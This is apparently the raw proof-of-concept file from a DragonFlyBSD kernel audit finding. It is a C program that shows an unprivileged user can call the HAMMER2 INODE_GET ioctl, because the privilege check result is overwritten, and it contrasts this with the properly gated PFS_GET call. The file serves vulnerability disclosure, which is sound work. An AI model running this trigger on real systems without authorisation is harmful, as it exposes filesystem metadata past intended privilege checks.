DragonFlyBSD Kernel Audit
DF-2648 / inodeget_user.c
← back to finding ↓ download raw
/*
 * DF-2648 trigger. HAMMER2IOC_INODE_GET is dispatched WITHOUT honoring
 * the caps_priv_check() result (hammer2_ioctl.c:137-139 overwrites the
 * error), so any user able to open a file on a hammer2 mount can run
 * it. Contrast: HAMMER2IOC_PFS_GET (gated) must fail with EPERM for
 * the same unprivileged user.
 *
 * usage: inodeget_user <file-or-dir-on-hammer2>
 * (run as an unprivileged user)
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>

struct df2648_inode {
	uint32_t	flags;
	void		*unused;
	uint64_t	data_count;
	uint64_t	inode_count;
	unsigned char	meta[1024];
};
#define DF2648_INODE_GET	_IOWR('h', 86, struct df2648_inode)

struct df2647_pfs {
	uint64_t	name_key;
	uint64_t	name_next;
	uint8_t		pfs_type;
	uint8_t		pfs_subtype;
	uint8_t		reserved0012;
	uint8_t		reserved0013;
	uint32_t	pfs_flags;
	uint64_t	reserved0018;
	unsigned char	pfs_fsid[16];
	unsigned char	pfs_clid[16];
	char		name[256];
};
#define DF2647_PFS_GET	_IOWR('h', 80, struct df2647_pfs)

int
main(int argc, char **argv)
{
	struct df2648_inode ino;
	struct df2647_pfs pfs;
	int fd;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <path-on-h2>\n", argv[0]);
		return 2;
	}
	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		return 1;
	}
	printf("uid=%d euid=%d fd=%d\n", getuid(), geteuid(), fd);

	memset(&ino, 0, sizeof(ino));
	if (ioctl(fd, DF2648_INODE_GET, &ino) == 0) {
		uint64_t inum;
		memcpy(&inum, &ino.meta[0x58], 8); /* meta.inum @0x58 */
		printf("INODE_GET: SUCCESS (ungated!) data_count=%llu "
		    "inode_count=%llu inum=%llu\n",
		    (unsigned long long)ino.data_count,
		    (unsigned long long)ino.inode_count,
		    (unsigned long long)inum);
	} else {
		printf("INODE_GET: failed errno=%d (%s)\n",
		    errno, strerror(errno));
	}

	memset(&pfs, 0, sizeof(pfs));
	pfs.name_key = 0;
	if (ioctl(fd, DF2647_PFS_GET, &pfs) == 0)
		printf("PFS_GET: SUCCESS (unexpected for unpriv user!)\n");
	else
		printf("PFS_GET: errno=%d (%s) -- gate works\n",
		    errno, strerror(errno));
	return 0;
}